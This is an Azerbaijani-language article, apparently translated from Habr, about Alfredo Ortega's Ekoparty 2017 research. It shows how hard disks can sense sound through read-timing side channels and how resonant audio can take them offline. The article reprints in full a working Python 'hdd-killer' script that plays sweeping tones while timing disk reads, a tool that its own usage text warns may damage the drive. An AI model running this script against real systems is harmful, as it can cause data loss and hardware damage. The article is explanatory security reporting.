Niyə HDD-yə qışqıra bilmirsən?

Niyə HDD-yə qışqıra bilmirsən?

Buenos-Ayresdə keçirilən Ekoparty 2017 kompüter təhlükəsizliyi konfransında argentinalı haker Alfredo Orteqa çox maraqlı bir inkişaf nümayiş etdirdi - mikrofondan istifadə etmədən binaların gizli dinləmə sistemi. Səs birbaşa sabit diskə qeyd olunur!

HDD əsasən yüksək intensivlikli aşağı tezlikli səsləri, ayaq səslərini və digər vibrasiyaları qəbul edir. Elm adamlarına baxmayaraq, insan nitqi hələ də tanınmır bu istiqamətdə araşdırmalar aparırlar (məsələn, giroskopdan və ya HDD-dən qeydə alınan aşağı tezlikli vibrasiya ilə nitqin tanınması).

Səs havanın və ya başqa mühitin titrəməsidir. İnsan onları titrəmələri daxili qulağa ötürən qulaq pərdəsi vasitəsilə qəbul edir. Mikrofon təxminən qulaq kimi tərtib edilmişdir - burada da titrəmələr elektrik impulsunu həyəcanlandıran nazik membran tərəfindən qeydə alınır. Sərt disk, əlbəttə ki, ətrafdakı havanın dalğalanması səbəbindən mikroskopik vibrasiyaya da məruz qalır. Bu, hətta HDD-lərin texniki xüsusiyyətlərindən də məlumdur: istehsalçılar adətən maksimum icazə verilən vibrasiya səviyyəsini göstərirlər və sabit diskin özü tez-tez onu rezin və ya digər izolyasiya materialından hazırlanmış vibrasiyaya davamlı konteynerə yerləşdirməyə çalışır. Buradan belə nəticəyə gəlmək olar ki, HDD-dən istifadə edərək səslər yazıla bilər. Qalan yalnız necə olduğunu anlamaqdır.

Alfredo Orteqa yan kanal hücumunun unikal versiyasını, yəni zaman hücumunu təklif etdi. Bu hücum, verilən giriş məlumatlarından asılı olaraq cihazda müxtəlif vaxtlarda müxtəlif əməliyyatların yerinə yetirildiyi fərziyyəsinə əsaslanır. Bu vəziyyətdə, "giriş məlumatları" ətraf mühitin titrəmələri ilə, yəni səslə əlaqəli olan oxu başlığının və HDD lövhəsinin titrəmələridir. Beləliklə, hesablama vaxtını ölçməklə və məlumatların statistik təhlilini həyata keçirməklə, başın/platanın vibrasiyasını və deməli, mühitin vibrasiyasını ölçmək olar. Məlumatın oxunmasında gecikmə nə qədər uzun olarsa, HDD vibrasiyaları bir o qədər güclü olar və buna görə də səs bir o qədər yüksək olar.

Sabit diskin vibrasiyasını necə ölçmək olar? Çox sadə: sadəcə sistem çağırışını yerinə yetirin read () — və tamamlamaq üçün lazım olan vaxtı qeyd edin. Müasir əməliyyat sistemləri nanosaniyəlik dəqiqliklə sistem zənglərinin vaxtını oxumağa imkan verir.

Sektordan məlumatın oxunma sürəti HDD qutusunun vibrasiyaları ilə əlaqəli olan başlıq və lövhənin vəziyyətindən asılıdır. Hamısı budur.

Statistik təhlil sadə Kscope yardım proqramından istifadə etməklə həyata keçirilir. Necə deyərlər, dahiyanə olan hər şey sadədir.

Niyə HDD-yə qışqıra bilmirsən?
Kscope yardım proqramı (stat() syscall)

Kscope, sistem zənglərinin icra müddətlərində kiçik fərqləri vizuallaşdırmaq üçün kiçik bir yardım proqramıdır. MənbəGitHub-da dərc edilmişdir.

Ayrı bir depoda HDD vaxtı sabit diskə vaxt hücumu üçün konfiqurasiya edilmiş, yəni sistem çağırışını təhlil etmək üçün konfiqurasiya edilmiş bir yardım proqramının bir versiyası var. read ().

HDD-dən istifadə edərək səs yazısının nümayişi, Kscope yardım proqramının işləməsi


Əlbəttə ki, nitqi bu şəkildə başa düşmək olmaz, lakin HDD vibrasiya sensoru kimi olduqca uyğundur. Məsələn, sərt ayaqqabı geyən və ya ayaqyalın bir şəxs kompüteri olan otağa giribsə, qeydiyyatdan keçə bilərsiniz (ehtimal ki, təcavüzkar yumşaq idman ayaqqabısı geyinirsə və ya yerdə qalın xalça varsa, HDD vibrasiyaları qeyd edə bilməyəcək - bunu yoxlamağa dəyər). Kompüter sınmış şüşələri və ya güclü səs intensivliyi olan digər hadisələri qeyd edə bilir. Yəni, sabit disk bir növ icazəsiz müdaxilənin aşkarlanması sistemi kimi xidmət edə bilər.

HDD qatili

Yeri gəlmişkən, oxşar texnika sabit diskləri söndürmək üçün istifadə edilə bilər. Yalnız burada biz HDD-dən salınımları çıxarmırıq, əksinə, HDD-yə qidalanan salınımları yaradırıq. HDD tezliyi ilə rezonans doğuran tezlikdə dinamikdən səs çalırsınızsa, sistem tezliklə I/O xətası ilə cihazı söndürür (Linux nüvəsi 120 saniyədən sonra HDD-ni tamamilə söndürür). Sabit diskin özü geri dönməz zədələnə bilər.

Niyə HDD-yə qışqıra bilmirsən?
Linux nüvəsi Edifier r120u USB dinamikinin dinamiki vasitəsilə rezonans tezliyində səsi 19 saniyə ötürdükdən sonra sərt diski söndürdü. Dinamik gücün təxminən dörddə birində (100 mVt-dan az) işə salınır və vibrasiyaları artırmaq üçün masaya yönəldilmiş HDD-dən 20 sm məsafədə yerləşir. Çərçivədən video HDD qatilinin nümayişi ilə

Maraqlıdır ki, HDD-lərə bu cür "hücumlar" bəzən gündəlik həyatda tamamilə təsadüfən baş verir. Məsələn, 2016-cı ilin sentyabrında ING Bank məlumat mərkəzi yanğına qarşı təlimdən sonra fəaliyyətini 10 saat dayandırmaq məcburiyyətində qaldı. Onlarla sabit disk uğursuz oldu yüksək təzyiq altında silindrlərdən çıxan inert qazın yüksək səsi səbəbindən. Səs çox yüksək idi (130 dB-dən çox), lakin hətta sabit disklərə qışqıra bilməzsiniz - bu, HDD-yə daxil olma gecikməsini artırır.

Məlumat mərkəzində sabit disklərdə insan qışqırmasının nümayişi. Gecikmənin ölçülməsi


Rezonans doğuran səs yaratmaq üçün Alfredo Ortega adlı Python skripti yazdı hdd-qatil (video nümayişi).

HDD öldürücü skript Bu olduqca kiçikdir, ona görə də onu tam şəkildə burada dərc edə bilərsiniz.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Mənbə: www.habr.com

Добавить комментарий